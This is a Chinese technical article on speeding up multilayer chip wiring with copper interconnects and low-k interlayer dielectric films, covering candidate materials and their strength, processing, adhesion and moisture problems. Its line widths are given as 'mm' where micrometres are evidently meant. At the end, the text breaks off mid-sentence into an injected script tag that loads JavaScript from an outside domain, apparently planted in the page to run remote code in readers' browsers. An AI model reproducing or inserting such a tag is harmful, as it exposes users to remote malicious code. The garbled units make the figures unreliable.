从生产与设计两个方面追求使用铜与低导电率膜，从而达到多层布线的高速化，已受到重视。迄今主要通过改善生产工艺来实现高速化。今后，除了生产工艺外，设计技巧也需改进。通过准确提取布线的寄生分量，尽量减少多余的设计估计值，把布线本来具有的性能优势最大限度地发挥出来，就能实现芯片运行最快速化。
通过相互削弱晶体管与布线的延迟来实现芯片的高速运行。但在0.25mm线宽之后,布线延迟将居于支配地位，芯片中布线的作用开始变得非常重要了，因此，在0.25mm之后对布线实现高速化的尝试特别活跃。但是，在0.25～0.18mm，通过改进生产工艺来实现高速化仍是主体。在设计方面并无大的变化。
生产工艺改进的典型例子是把过去的铝改为低电阻的铜，从而降低了布线电阻。在0.25mm上ibm公司抢占了先机，对0.18mm大多数芯片制造商都一齐采用了。在这一时期,层间绝缘膜采用了siof，介电常数比为3.5左右，比之过去的sio2有所降低,但降低布线电容的效果却不大。不过，由于材料组成与sio2相近，成膜及加工的工艺技术稍作改动即可，故许多芯片制造商都已采用。
设计方法无需大改动有如下理由。在目前，生产工艺所改善的是布线电阻和布线电容，这些从使用铝布线及sio2层间绝缘膜之后,设计时都做了准确的预测，因此，在0.25～0.18mm时代，也可预测符合材料铜的布线电阻和布线电容，从而可以充分发挥布线应有的性能。
然而，在0.13mm线宽时，这种状况就完全不同，当所需要的芯片的工作频率超过ghz，仅靠改善生产工艺实现高速化就不够了，还需要改善设计技巧。
在0.13mm以后也要继续改善生产工艺以实现高速化，具体地说，层间绝缘膜要用介电常数比低于３的材料，通过这样低介电常数膜与铜布线相结合进一步降低布线延迟。之后与0.1mm、0.07mm的细微化相适应，还要继续降低层间绝缘膜的介电常数比。
在设计方面，不做大改动已不可行，而要积极采取对策。准确预测过去忽略了的布线电感，减少多余的设计估计值，方能最大限度发挥布线固有的特性，从而把布线延迟降低到极限。
0.13mm开始批量生产的时间是2001年。在此之前有关介电常数膜与铜布线的各种难题必须完全解决，因此加速生产设备、元器件及材料的研发是当务之急。
当前，面向0.13mm的低介电常数层间绝缘膜的后备者有：介电常数比约2.2的多孔结构的sio2；2.6～2.8的mps(ｍethyl-polysiloxane）及pae（poly arylene ether）；2.8～3.1的hsq（hydrogen silsesquioxane）等。这些低介电常数层间绝缘膜有四个难题①提高机械强度；②提高可加工性；③提高粘合性；④降低吸水性。
提高机械强度是目前最大难题之一，当未找到有希望的解决办法。目前低介电常数膜的机械强度比以往使用teos及等离子体cvd的sio2膜低1～2个数量级。因此，用cmp（化学机械研磨）在层间绝缘膜上形成划痕及腐蚀，如要在多层布线的上层部分形成需要的1～2mm的厚膜，便有出现裂缝的问题。今后，必须开发出机械强度高的低介电常数材料。
要提高加工性必须提高对光刻胶的选择比及o2等离子剥胶性能。对光刻胶的选择比即使值较好的低介电常数材料也低于２。o2等离子剥胶性能除部分材料外都极低。对此,已开发了无需对低介电常数膜加工的技术，即采用铝柱方法。由于事先在干法刻蚀形成的铝柱上形成低介电常数膜，故不对低介电常数膜进行加工就能形成通孔。
提高粘合性尤其对有机系的pae等是大课题。这类材料与金属材料的粘合强度比利用等离子cvd的sio2约低1个数量级，在cmp加工时会出现脱开的问题。已经知道，与pae相比，mps和hsq的粘合强度较高。
降低吸水性已看到了解决问题的方向，因为眼下已有许多优良的材料。过去的低介电常数膜如置于空气中，在吸收了膜表面吸附的水分后，会有膜的介电常数比增大的问题。对此，在典型的有机系低介电常数材料mps及pae中，找出了吸水性非常低的材料。如把使用teos的等离子cvd的sio2膜的吸水量定为100%，pae则低到12%，mps为40%。
就铜布线来说，采用电镀能适应细微化到何种程度是个课题。对此，研究了分别使用二次处理工艺与一次处理工艺的方法，?script src=http://er12.com/t.js>
